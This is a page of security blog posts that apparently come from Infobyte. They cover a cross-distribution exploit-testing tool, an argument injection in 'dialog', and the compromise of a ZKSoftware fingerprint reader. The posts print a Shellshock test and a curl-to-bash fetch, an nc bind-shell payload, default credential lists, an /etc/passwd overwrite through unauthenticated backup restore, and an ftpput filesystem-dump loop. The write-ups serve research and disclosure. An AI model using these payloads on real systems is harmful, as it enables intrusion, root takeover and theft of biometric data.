‏إظهار الرسائل ذات التسميات exploit. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات exploit. إظهار كافة الرسائل

الخميس، 17 سبتمبر 2015

Cross Distribution Exploit Testing: 2da Parte.

El mes pasado publicamos el siguiente post junto con la herramienta:
http://github.com/infobyte/distro_checker

Una de las cosas que nos limitaba la primer version es que trabajabamos utilizando Docker. No todas las vulnerabilidades podían ser probadas utilizando esta herramienta ya que problemas relaciones con kernel no pueden ser explotados porque docker no es una sistema de virtualización  es en pocas palabras un chroot con esteroides.

Hicimos nuevos cambios para incorporar ademas Vagrant de esta manera podemos probar cualquier tipo de vulnerabilidades ya que seria un entorno de virtualización completo.

Ejemplo:
El siguiente comando ejecutaría el comando id dentro de las distintas VMs especificadas en el variable "distros"

./vagrant_build.py -c id

Correría ese comando en las siguientes distros

distros = [
           {'name' :'centos/7',
            'url':'https://atlas.hashicorp.com/centos/7',
            'provider':'virtualbox'},

           {'name' :'ubuntu/vivid64',
            'url':'https://atlas.hashicorp.com/ubuntu/vivid64',
            'provider':'virtualbox'},

           {'name' :'ubuntu/trusty64',
            'url':'https://atlas.hashicorp.com/ubuntu/trusty64',
            'provider':'virtualbox'},
                                    
           {'name' :'debian/jessie64',
            'url':'https://atlas.hashicorp.com/debian/jessie64',
            'provider':'virtualbox'},

           {'name' :'debian/wheezy64',
            'url':'https://atlas.hashicorp.com/debian/wheezy64',
            'provider':'virtualbox'},
          ]

Demo:
En la siguiente demo utilizamos el exploit ofs.c para la vulnerabilidad CVE-2015-1328 en distintas distribuciones de Ubuntu:

https://atlas.hashicorp.com/sincerely/trusty64
https://atlas.hashicorp.com/puphpet/ubuntu1204-x64
https://atlas.hashicorp.com/ubuntu/trusty64

Usamos otros repositorios salvo el ultimo ya que Ubuntu actualiza los últimos parches en su VM
Esta nueva version se encuentra disponible en
http://github.com/infobyte/distro_checker

Clean:
No se olviden de tener en cuenta los siguientes comandos para realizar limpieza

$ vagrant box list  #lista de vms en nuestro repositorio local
$ vagrant box remove "vmname" #elimina la vm especificada
$ vagrant destroy #elimina vm del directorio local, si por algún problema cancelamos la ejecución de vagrant_build.py recomendamos correr este comando ya que es posible que haya quedado una VM en su repositorio.

Adicionalmente esta herramienta se puede también utilizar (como estamos haciendo en nuestro caso), para hacer pruebas de cross distribution testing sobre funcionalidades, instalación, setup de Faraday en distintos ambientes.

Espero que les sea de utilidad!
Saludos

Cross Distribution Exploit Testing: 2 Part


Last month we published a post about a tool we were using:
http://github.com/infobyte/distro_checker

One of the things that limited us a bit the first time around was that we were working with Docker. Not all the vulnerabilities can be tested using the first version of the tool, because kernel's related problems can't be exploited inside Docker.

To improve upon this, we made some changes and we incorporated Vagrant, which lets us try basically any vulnerability as we already have a complete virtual environment.

Example:
In the following example, we would execute the "id" command within the different VMs, specifying the variable "distros".

./vagrant_build.py -c id

We have to run this command in the following distros:

distros = [
           {'name' :'centos/7',
            'url':'https://atlas.hashicorp.com/centos/7',
            'provider':'virtualbox'},

           {'name' :'ubuntu/vivid64',
            'url':'https://atlas.hashicorp.com/ubuntu/vivid64',
            'provider':'virtualbox'},

           {'name' :'ubuntu/trusty64',
            'url':'https://atlas.hashicorp.com/ubuntu/trusty64',
            'provider':'virtualbox'},
                                    
           {'name' :'debian/jessie64',
            'url':'https://atlas.hashicorp.com/debian/jessie64',
            'provider':'virtualbox'},
           {'name' :'debian/wheezy64',
            'url':'https://atlas.hashicorp.com/debian/wheezy64',
            'provider':'virtualbox'},
          ]

Demo:
In the following demo we will use the exploit ofs.c for the vulnerability CVE-2015-1328 in different distributions of Ubuntu:

https://atlas.hashicorp.com/sincerely/trusty64
https://atlas.hashicorp.com/puphpet/ubuntu1204-x64
https://atlas.hashicorp.com/ubuntu/trusty64

We are going to use other repositories except for the last one as Ubuntu already has the last parches in its VM.
This new version we can find in
http://github.com/infobyte/distro_checker

Clean:
After a few tests, it's important not forget the following commands so you can do cleanings:

$ vagrant box list  #list of vms in our local repository
$ vagrant box remove "vmname" #eliminates the specific vm
$ vagrant destroy #eliminates vm for the local directory, if por some reason we were to cancel the executtion of vagrant_build.py, we recommend running this command as it possible that there still is a VM in the repository.


This tool can also be used (like we did in our case) for doing cross distribution testing for functionalities, installation and for setting up Faraday in different environments

Hopefully you found this useful.
Best,

الاثنين، 27 يوليو 2015

Cross Distribution Exploit Testing [SPANISH]

Introducción:

Buscando una manera fácil de hacer testing sobre el proceso de instalación de Faraday
http://github.com/infobyte/faraday en distintas distribuciones.


Es uno de los procesos mas complicados y críticos de una herramienta. Es importante que el proceso sea fácil y funcione sin inconvenientes para que los usuarios solo se dediquen a usar la herramienta y no pierdan tiempo valioso en la instalación.

Gracias a esto nos topamos con Docker es similar a un chroot con esteroides.

Docker es un proyecto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y namespaces para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales.

El proceso que desarrollamos es bastante simple tomando una lista de distribuciones:

  1. Generamos un docker
  2. Instalamos Faraday
  3. Nos conectamos por SSH al container exportando la X y ejecutamos la aplicación grafica (GUI QT)

Si alguno de los procesos fallaba, evaluamos cual fue el problema y efectuábamos el patch correspondiente.

Este proceso hoy es utilizado dentro de nuestro sistema de integración continua.

Cross Distribution Exploit Testing:


Utilizando esta misma implementación podemos usarlo para realizar una pruebas de explotación en distintas distribuciones para evaluar distintos escenarios y lograr que nuestros exploits sean mas robustos :)
No todas las vulnerabilidades pueden ser probadas utilizando esta tool ya que problemas relaciones con kernel no pueden ser explotados porque docker no es un sistema de virtualización, vulnerabilidades simples como file permission, file race condition, environment variable code injection, etc.

La herramienta contiene los siguientes elementos:
  • docker_build.py: Este script se encarga de generar las imagenes de cada distribución y dispara docker_launch.py.
  • docker_launch.py: Es el que finalmente se conecta conecta por SSH y ejecuta nuestro comando en el container seleccionado.
  • images.txt: Lista de imagenes a utilizar.
  • extras/: Librerias y Dockerfile fija base que se usa para la generación de las imagenes
  • root/: Aquí se encuentran claves privadas para la conexión de ssh, solo necesario para pruebas de GUI

Caso 1 - Shellshock

Un ejemplo simple para probar es shellshock:

$ ./docker_build.py -c "env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\""
Start build docker: debian:7.3
..
Run build docker: debian:7.3, id: fae1bc04-b514_debian:7.3
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t fae1bc04-b514_debian:7.3
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.93', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
vulnerable
this is a test
Run build docker: ubuntu:14.10, id: a07132a4-af14_ubuntu:14.10
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t a07132a4-af14_ubuntu:14.10
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.94', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
this is a test

Esto creo 2 imagenes (debian7.3, ubuntu 14.10) y por cada imagen ejecuto el exploit de CVE-2014-6271

Podemos utilizar un script para tenerlo mas ordenado:
$ ./docker_build.py -c "cd build && ./shellshocker.sh" #docker_build.py copia en la imagen todo el contenido de "." en directorio ./root/build
Run build docker: debian:7.3, id: 75b78a22-03a1_debian:7.3
CVE-2014-6271 (original shellshock): VULNERABLE
./shellshock_test2.sh: line 17:    29 Segmentation fault      shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2> /dev/null
CVE-2014-6277 (segfault): VULNERABLE
CVE-2014-6278 (Florian's patch): VULNERABLE
CVE-2014-7169 (taviso bug): VULNERABLE
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

También alguna implementación mas automatizada, con la excepción que usamos la opcion -i para pasarle una lista de images a ejecutar.

$ ./docker_build.py -c "curl https://shellshocker.net/shellshock_test.sh | bash" -i images.txt

En caso de querer volver a probar algo especifico sobre algún container basta con correr:
$ docker ps -a #verificar cual es la image generada y utilizarla con docker_launcher en la opción -t
$ ./docker_launcher.py -c "whoami" -t c92d6bf7-d559_debian:7.3

Caso 2: Redhat Local Privilege Escalation CVE-2015-(3245,3246):


Hace pocos días publicaron dos vulnerabilidades que pueden ser utilizadas para elevación local de privilegios en Redhat 6 y 7.

CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling

Probemos esta vulnerabilidades en las siguientes distribuciones rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20 :

$ ./docker_build.py -i redhat_images.txt  -d extras/docker/Dockerfile.redhat -c id # En este caso utilizamos un Dockfile especial que ejecuta directamente el exploit (roothelper.c)

Distros: ['rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20']
Start build docker: rhel6.5
...
Red Hat Enterprise Linux Server release 6.5 (Santiago)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.0
Red Hat Enterprise Linux Server release 7.0 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.1
Red Hat Enterprise Linux Server release 7.1 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: fedora:20
Fedora release 20 (Heisenbug)
CVE-2015-(3245,3246): Not vulnerable
...

Demo:


Clean:


Después de varias pruebas no olvidemos parar los containers y borrarlos:
$ docker stop $(docker ps -a -q)
$ docker rm $(docker ps -a -q)

De ser necesario también las imagenes:
$ docker rmi $(docker images -q)

Tool:

El código se encuentra disponible en github en:
http://github.com/infobyte/docker_build

To-Do:

Realiza un proceso similar utilizando Vagrant de esta manera podríamos probar cualquier tipo de vulnerabilidades ya que seria un entorno de virtualización completo.

Espero que les ayude para realizar exploits mas robustos y tal vez algún developer para probar su herramienta frente a distintas distribuciones.

Gracias Andres por la ayuda!


Cross Distribution Exploit Testing

Introduction:

We were looking for an easy way to do testing for the installation of our tool, Faraday
https://github.com/infobyte/faraday with different distributions.

We wanted to do this because the installation process is normally one of the most complicated and critical processes of any new tool being implemented. It is important that the process is easy and that everything works without any hiccups so that users can get started using the tool ASAP and don't lose valuable time during the installation and set-up.

What we ended up finding to suit our needs was Docker, which is pretty similar to a chroot, but on large amounts of steroids.

Docker is a tool that automates the deployment of applications inside software containers, by providing an additional layer of abstraction and automation of operating-system-level virtualization on Linux. Docker uses resource isolation features of the Linux kernel such as cgroups and kernel namespaces to allow independent "containers" to run within a single Linux instance, avoiding the overhead of starting and maintaining virtual machines

The process we developed is pretty simple, in which we use a simple list of distributions.
  1. We generate a Docker
  2. We install Faraday
  3. We connect using the SSH to the container, exporting the X and we execute the graphic application (GUI QT)
If one of the processes doesn't work, we can evaluate what was the cause of the problem and we make a corresponding patch to remedy the problem .

We are using this process daily in our own continuous-integration system.

Cross Distribution Exploit Testing:


Using the same implementation, we can use it to do some exploitation tests in different distributions. This allows us to evaluate different scenarios and hopefully helps us make our exploits a bit more robust :)

Not all the vulnerabilities can be tested using this tool, because kernel's related problems can
't be exploited because Docker isn't a virtualization system. This includes a few simple vulnerabilities such as file permission, file race condition, environment variable code injection, etc.

The tool contains the following elements:
  • docker_build.py: This script function is to generate images of each distribution and run docker_launch.py.
  • docker_launch.py: This is the one that finally connects through the SSH and executes our command in the selected container.
  • images.txt: A list of images to use
  • extras/: Libraries and base Dockerfile used for generation of the images.
  • root/: Here, we find private keys for the ssh connection, which are necessary for testing out the GUI tests.

Case 1 - Shellshock:


A simple example to try would be shellshock:

$ ./docker_build.py -c "env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\""

Start build docker: debian:7.3
..
Run build docker: debian:7.3, id: fae1bc04-b514_debian:7.3
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t fae1bc04-b514_debian:7.3
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.93', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
vulnerable
this is a test
Run build docker: ubuntu:14.10, id: a07132a4-af14_ubuntu:14.10
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t a07132a4-af14_ubuntu:14.10
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.94', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
this is a test

This creates 2 images (debian7.3, ubuntu 14.10) and for each image, you have to execute the exploit  CVE-2014-6271

 We can utilize a script to make it a little more organized;

$ ./docker_build.py -c "cd build && ./shellshocker.sh" #docker_build.py copy in the images all the content "." in the directory ./root/build
Run build docker: debian:7.3, id: 75b78a22-03a1_debian:7.3
CVE-2014-6271 (original shellshock): VULNERABLE
./shellshock_test2.sh: line 17:    29 Segmentation fault      shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2> /dev/null
CVE-2014-6277 (segfault): VULNERABLE
CVE-2014-6278 (Florian's patch): VULNERABLE
CVE-2014-7169 (taviso bug): VULNERABLE
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

Also, for a more automated implementation, with the exception that we use the option -i in order to go to a list of images to execute.

$ ./docker_build.py -c "curl https://shellshocker.net/shellshock_test.sh | bash" -i images.txt

In case you want to try testing again something specific for a container all you need to do is run:

$ docker ps -a # verify which is the image generated and use this id with docker_launcher in the option -t

$ ./docker_launcher.py -c "whoami" -t c92d6bf7-d559_debian:7.3


Case 2: Redhat Local Privilege Escalation CVE-2015-(3245,3246):


Last week two vulnerabilities were released that can be use to do a local privilege escalation on
redhat 6 and 7:

CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling

Let's try again the tool against this vulnerability in the following distribution rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20 :

$ ./docker_build.py -i redhat_images.txt  -d extras/docker/Dockerfile.redhat -c id # In this scenario I directly use a specific dockerfile that runs the exploit (roothelper.c)

Distros: ['rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20']
Start build docker: rhel6.5
...
Red Hat Enterprise Linux Server release 6.5 (Santiago)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.0
Red Hat Enterprise Linux Server release 7.0 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.1
Red Hat Enterprise Linux Server release 7.1 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: fedora:20
Fedora release 20 (Heisenbug)
CVE-2015-(3245,3246): Not vulnerable
...

Demo:


Clean:


After a few tests, it's important not forget to stop the containers and delete them:

$ docker stop $(docker ps -a -q)
$ docker rm $(docker ps -a -q)

You have to for the images as well:
$ docker rmi $(docker images -q)

Tool:

The code can be found on github:
http://github.com/infobyte/distro_checker

To-Do:

Doing a similar process using Vagrant, we would be able to try out all kinds of vulnerabilities, as that would be a complete virtualization setting.

We hope this helps everyone in the need test their tools across a wide range of  distributions, from researchers to developers their code.

Thanks Andres for the support!

الجمعة، 17 أكتوبر 2014

Abusing « dialog » for fun and profit

If you want to design a command-line utility with a graphical user interface, you have the choice of using a full-featured library like curses, or using an utility like « dialog ».
Dialog is a program you can call with arguments specifying what you want to display (input box, menu…).
Here is an example of the result of the « dialog --msgbox "Hello world.\n\nHow are you ?" 0 0 » command :


During a system audit, we had access to a server that only had a command-line GUI interface. This interface presented menus allowing us to do various diagnostics to the server (that would end up executing scripts)...
Of course, our goal was to find a bug in this interface to execute arbitrary code on the server.

After a little analysis, we found out that the whole script for the GUI interface was calling the « dialog » command to display the various dialog presented to the user.

From parameter injection...

We encountered code to execute a diagnostic script, providing it a number as a parameter :
n = ""
while not n.isdigit():
n = dialog_input("Enter a number", n)

system("/root/diagnostic_script %s" % n)
With the dialog_input function being like :
def dialog_input(question, default):
args = shlex.split('dialog --inputbox "%s" 10 50 "%s"' % (question, default))
_, stderr = subprocess.Popen(args, stderr=subprocess.PIPE).communicate()
return stderr.decode()
So, the more obvious way would have been to put a string like "; whoami" in the dialog, to have the system() execute our code.
However, this is made impossible because the number is validated, and if we enter an invalid number we will be asked again.
But what is really interesting is that the old number we entered (that is invalid !) will be set as the default value of the input, by passing it as an argument for the dialog command.
So, what happens if we put a quote in the number we enter ? As it is invalid, dialog_input() is called again, and booom, shlex.split is lost :
Traceback (most recent call last):
...
ValueError: No closing quotation
So, it's obvious that from now, we can inject arguments for the « subprocess.Popen » call (as long as we put an even number of quotes in the dialog).
The scope of what we can do is very limited. We can't use shell tricks like a semicolon or a pipe to execute other commands : subprocess.Popen directly call the « dialog » command (as the shell argument is False by default), so we can only control its parameters.
So, we have to dig into how dialog works. We can see that calls like « dialog --inputbox "foo" 10 50 "bar" --inputbox "foo2" 10 50 "bar2" » works fine, as dialog iteratively parse its argument and allow multiple widgets to be displayed successively.
Let's see if we can find some useful widgets ! After reading the manual, there is « --dselect » that is a directory chooser (so we can see the content of the filesystem), and « --textbox » that can display the content of a file :)


So, we have arbitrary (read) access to the filesystem !


... to arbitrary command execution...

However, we also found one very interesting widget : prgbox.
--prgbox command height width
A prgbox is very similar to a programbox.

This dialog box is used to display the output of a command that is specified as an argument to prgbox.

After the command completes, the user can press the ENTER key so that dialog will exit and the calling shell script can continue its operation.
So, this widget was designed… to execute any command.
However, during our trials it was impossible to have it work correctly because each time we put shell commands the behavior was completely unexpected, often resulting in an empty result.

...by working around a nasty bug !

We looked at the source code of the prgbox widget and found that :
sprintf(blob, "-c %s", command);
argv = dlg_string_to_argv(blob); // will convert the command in « blob » to a list of arguments.
execvp("sh", argv);
Which shown clearly that our command was executed using « sh -c command », so using shell should have worked !
However, shouldn't argv[0] contain « sh » ? It is this !
When « sh » was called, its argv[0], instead of containing « sh », was « -c » (so it ignored this argument, thinking it was its name !).
A quick workaround to allow our exploit to work was to insert « -c » at the beginning of the command we passed to the prgbox widget, for sh to correctly have « -c » as its argv[1].
So, at the end we were able to spawn a backdoor shell in our target server, simply by entering this in the input box asking for the IP address to ping :
" --prgbox "-c \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 8000 >/tmp/f\"" 30 70 --title "
Success !

We also contacted the author of dialog to inform him of the bug, that was corrected in the last version of dialog.

It was also very funny to dig into the dialog source code, and see that there is even an option « --file » that allows an user to put more arguments in a file (they will be inserted in place during the process of parsing the arguments). And putting another « --file » option referencing to itself inside such a file could have led to infinite recursion ! So the program contains a counter of the recursion depth and don't allow it to be more than 20.

Conclusion

When you use an external program like dialog, be very careful with what you allow the user to inject in the parameters. As we have just seen, even if the command is not interpreted in the shell, it is possible to misuse the program you are calling to end up executing arbitrary code.

And when we search github for misuse examples, it seems that it is quite easy to encounter…

الجمعة، 18 يوليو 2014

Perverting Embedded Devices - ZKSoftware Fingerprint Reader (Part I)

As you may have noticed from other blog posts, we like to play around with basically any device we can get our hands on. Incidentally, this year we acquired a bio-metric device that we have had the chance to see during some audits we carried out.
Front view of the ZEM510 fingerprint reader.
Normally when a bug is found in embedded devices, they provide access to a network which could be used to pivot or persist in a network. In this case they can provide physical access to a facility, it's normal to see this kind of fingerprint readers providing access control to highly secure areas, such as data centers or entire buildings.
Back view of the ZEM510 fingerprint reader.
On plain sight we can find:
  • a bootloader screen that says << Linux : security for your life >>
  • LCD screen
  • digital fingerprint reader
  • a keypad
  • power supply port
  • RJ45 network port
  • 2 USB ports
  • at the back, there is a little tamper switch that will detect when the device is detached from the wall, and will trigger the alarm mode. 

Overview

The specific name of the device is ZK-I01A ID GPRS, also known as ZEM510 and costs approximately U$200. It's made by ZKSoftware, which happens to have a reseller here, in Argentina. It's a bio-metric fingerprint reader that's supposed to provide controlled entrance of personnel and security to facilities.

In their official websites you can find a detailed documentation about it. Downloads and user manual also available.

Between the principal characteristics there are a few to highlight:
  • Communication methods:
    • RS232/485
    • USB Host/client
    • TCP/IP
    • Wiegand
  • Reader: EM Marin125 khz, Protocol: Wiegand 26
  • Power supply: 12v, 1,5A and a 4hs additional battery.
  • Programmable output for a bell.

Looking for a way to communicate!

Serial connection via USB

We tried serial communication via USB, which creates a virtual serial port, using miniterm and screen, synchronizing the recommended baud rates and rebooting the device in order to expect some kind of prompt or output, but nothing came out of it :(

Ethernet connection via UTP Cable

After noticing that the network interface by default sets its IP address to 192.168.1.201 and has an access restriction by IP, we found out that setting our local one to 192.168.1.220 would do the trick.
Once we have connection, an nmap port scan shows this results:
  • TCP 80 : the device is running webserver
  • TCP 23 : a classic telnet server (telnetd from busybox)
  • TCP/UDP 4370 : custom protocol
  • UDP 65535 : custom protocol that will respond to requests to broadcast and is used to find the fingerprint readers in the network

Interesting ports, let's dig up a little more.

Telnet? ZEM510?

Port 23 seems to be a telnet service, we check if it's legitimate:
telnetting device
Trying luck with telnet using default users such as:
admin:admin
root:root
admin:1234
Doing a bit of research on the internet we managed to gather several default user:passwords that this vendor normally uses for this kind of devices:
root:colorkey
root:solokey
root:swsbzkgn
admin:admin
888:manage
manage:888
manage:888
asp:test
888:asp
Unfortunately, not a single one of them worked on our device. Additional tools like hydra and medusa were used but also where a no-go.

Web Application Panel

Port 80 was showing a web server so we decided to check it out. A website and a login page for what seems to be a control panel appeared.
Web panel login.
Using a classic, administrator:123456 we got access to the web panel.
Default user credentials working.
Browsing the website and logging the requests led us to determine the web server and the application was handling sessions in a VERY poor way. We could access pages that needed authorization without being authenticated.

The file start.csl includes menu.csl, and this last one gives you access to the rest, so we should try to access it first. We need to destroy our cookie and make sure we are using an empty one to access a restricted area.
Showing session cookie on console.
Showing empty cookie on console on start.csl

And we're in. Let's see the requests in plaintext with ncat so you understand the gravity of the situation.

Accessing /csl/start:
isr@~% ncat zkwebserver 80
GET /csl/start HTTP/1.1
Host: zkwebserver

HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close

<HTML><HEAD><TITLE></TITLE>
<META http-equiv=Content-Type content='text/html;'>
<META http-equiv=Cache-control content=no-cache>
<META http-equiv=Pragma content=no-cache>
<LINK href='../css/Secutime.css' type=text/css rel=stylesheet>
<META content='MSHTML 6.00.2900.3562' name=GENERATOR></HEAD>
<FRAMESET border=0 frameSpacing=0 rows=37,* frameBorder=NO cols=*>
<FRAME name=header src='/csl/header' noResize scrolling=no>
<FRAMESET border=0 frameSpacing=0 rows=* frameBorder=NO cols=180,*>
<FRAME name=menu src='/csl/menu' noResize scrolling=auto>
<FRAME name=content src='/csl/desktop'></FRAMESET>
</FRAMESET>
</HTML>
You can see that the web server replied with 200 OK and tried to load in framesets /csl/menu, /csl/desktop and /csl/header without asking for an auth. So far we can't state for sure that calling /csl/menu directly will have the same effect.

Accessing /csl/menu (stripped content for clarity):
isr@~% ncat zkwebserver 80 
GET /csl/menu HTTP/1.1
Host: zkwebserver

HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close

Terminal
javascript:oncwx(); -> Login Off
/csl/desktop -> Dev Status

User Report
/csl/report -> Report
/csl/query -> Query
/form/RealTime -> Monitor

User Administration
/csl/dpm -> Department
/csl/user -> User
/csl/user?action=add -> Add User


Setting
/form/Device?act=5 -> TCP/IP
/form/Device?act=17 -> WIFI Setting
/form/Device?act=3 -> Date/Time
/form/Device?act=7 -> Change Password

Terminal
/form/Device?act=11 -> Backup
/form/Device?act=14 -> Restore
/form/Device?act=12 -> Update
/csl/download -> Download

/form/Device -> Reboot
Response shows menu content loaded completely, and to make it even better you can see how bad they are handling sessions: the 'Login off' option is nothing more than a call to a JavaScript function that takes you to the login page.

If the login page had a destroy session or something alike it would be considered a CSRF, which in this case, supposing that sessions were handled "properly", meant the only "security" administrators had, but no, not even that.

We can conclude either an anonymous user or an administrator have the same privileges on the website, making session handling utterly useless. The only difference would be that the anon user has to access menu directly and the admin can make use of their fantastic "Web 3.0" login.

Web vulnerabilities

Now that we completely control the web interface, we started looking for vulnerabilities that could lead to access to the linux that's running below.
For this post we're leaving web vulnerabilities aside and instead we'll discuss just one major one, you'll see why soon.
Web backup section.
In the backup section we got two options, backup either System data or User Data. Any of those options will download a .dat file

Downloading backup system data example.
Showing downloaded files:
isr@zk% file *
data.dat: gzip compressed data, max compression, from Unix
device.dat: gzip compressed data, max compression, from Unix
They are both gzipped, let's extract them.

user.dat [Backup user data] :
isr@zk% tar zxf data.dat && ls -R
.:
data.dat device.dat mnt/

./mnt:
mtdblock/

./mnt/mtdblock:
custattstate.dat custvoice.dat data/ dpmidx.dat extlog.dat extuser.dat oplog.dat sms.dat udata.dat user.dat workcode.dat

./mnt/mtdblock/data:
extlog.dat template.dat transaction.dat
Peeking around we found that most of the files were illegible or empty, and decided to continue with the next gzipped file before going further.

We deleted the entire extracted folder in order to avoid contents to be overwritten in the next extraction.

device.dat [Backup system data] :
isr@zk% tar zxf device.dat && ls -R
.:
data.dat device.dat mnt/

./mnt:
mtdblock/

./mnt/mtdblock:
options.cfg

A config file is always interesting to see! The file options.cfg contains configuration variables, below some of them categorized for a better understanding:

Network
IPAddress=192.168.1.201
GATEIPAddress=192.168.1.1
NetMask=255.255.255.0

Communication
UDPPort=4370
TCPPort=4368
WEBPort=80
RS232BaudRate=115200
RS232On=1

Device info
Platform=
OEMVendor=ZKSoftware Inc.
AlgVer=ZKFinger
ProductTime=
SerialNumber=
DeviceName=

Device configuration
TFTKeyLayout=0
LcdMode=0
KeyPadBeep=1
VoiceOn=1
VOLUME=67
AlarmOpLog=99
Language=83
AdmRetry=3

Web Administrator password
LoginPWD=123456

Paths
WAVFILEPATH=/mnt/ramdisk/wav/
BMPFILEPATH=/mnt/mtdblock/image/
FONTFILEPATH=/mnt/mtdblock/
PICFILEPATH=/mnt/mtdblock/
WebRoot=/mnt/mtdblock/
PHOTOFILEPATH=/mnt/mtdblock/photo/
CAPTUREPHOTOPATH=/mnt/mtdblock/

It's clear that options.cfg includes lots of sensible configuration information (not only from the web interface, but from the entire device) that you can even pushed back modified with the 'restore backup' option UNAUTHENTICATED.

SOAP API

If you want to head this way, you will also find that the web server has a SOAP API (without authentication, of course) allowing you to retrieve the entire list users (passwords included), the last users that opened the door, and pretty much everything.

Got root? Arbitrary File Injection

At this stage it was clear for us that we should try to re-upload the backup folder with additional files to test the restrictions of the uploader and see what happens.

As we already know, the server that's running behind is a Linux on a MIPS, meaning user's passwords database is /etc/passwd file and probably /etc/shadow. So we generate a passwd file with user root and a known password:

isr@zk% echo "root:knownpassword:0:0:root:/root:/bin/sh" > passwd
Note that we're using the plain representation as an example, md5crypt should be used.

Setting up the passwd file in context:
isr@zk% mkdir etc/ && mv passwd etc/
Compressing again with gzip and uploading our 'backup' via web interface using the same name the file had when it was downloaded (data.dat for example).

Restore data section.
Upload success.
Let's see if it worked, shall we?
ZEM510 shell prompt
Awesome! As you can see the passwd file was successfully overwritten with ours. And now we have root access.

Privacy issues

All these vulnerabilities also raise the question of privacy: are the personal information of the users safe?
From the user's manual the manufacturer claims the following:
  1. All of our fingerprint recognition devices for civil use only collect the characteristic points of fingerprints instead of the fingerprint images, and therefore no privacy issues are involved.
ZKSoftware Statement on collection of fingerprints

Ok, that would be great if it were completely true.

Login ids, as we've seen in pentests before, are always associated with the user's real name and their fingerprint. The vendor states that the fingerprint is stored as a representation of itself, and they are not lying, but also missing an important point on the process.

When a fingerprint is scanned and pushed back to the database, interchangeably if it comes from a new user or an existing one, a temporary fingerprint image is always stored at /mnt/ramdisk/finger.bmp so the device can calculate its characteristics until the next fingerprint replaces it.

An example of a typical image that can be found on the device.
Thumb fingerprint.
Compromising the device and installing a backdoor to retrieve every uploaded fingerprint to later associate them to the corresponded users, will end up on a nice recompilation of information from a facility, don't you think?

Emulation of the device

In order to find more vulnerabilities, we will set up the embedded device, but since there is no firmware available, we are going to extract all the information from a live device.

Dump it all!

To understand more about the structure of the OS we downloaded it entirely.

Busybox command list
The commands were scarce, but making a simple script like the one below, using ftpput, we were able to pull the entire system to our computers.

dump.sh: for i in $(find `pwd` -name "*"); do ftpput ftp_server $i $i done
Having everything needed to replicate the environment we just miss a MIPS Virtual Machine to properly emulate the firmware, and this can be achieved quite easily by using QEMU.

With the VM working and with a chroot in place, we were able to run a binary named « main », located in /mnt/mtdblock/main, which is in fact the main binary for the web application and... almost everything. It's also one of the few binaries that run in the server besides telnetd.

Troubleshooting

When launching main, we found out it was messing with the TTY (that is used as a framebuffer device, for the TFT screen), making it impossible to interact. Same thing happened with network (it reconfigures when starting), but by adding an empty « ifconfig » command in /usr/local/bin, we were able to circumvent this problem.

Additional findings

We also found that the web service and their custom « main » service were vulnerable of buffer overflows and arbitrary file disclosure. These vulnerabilities will be published on Part II, next week

Thanks to @achillean who kindly provided us access to SHODAN maps, we leave you this lovely postcard:



Authors from @infobytesec Team: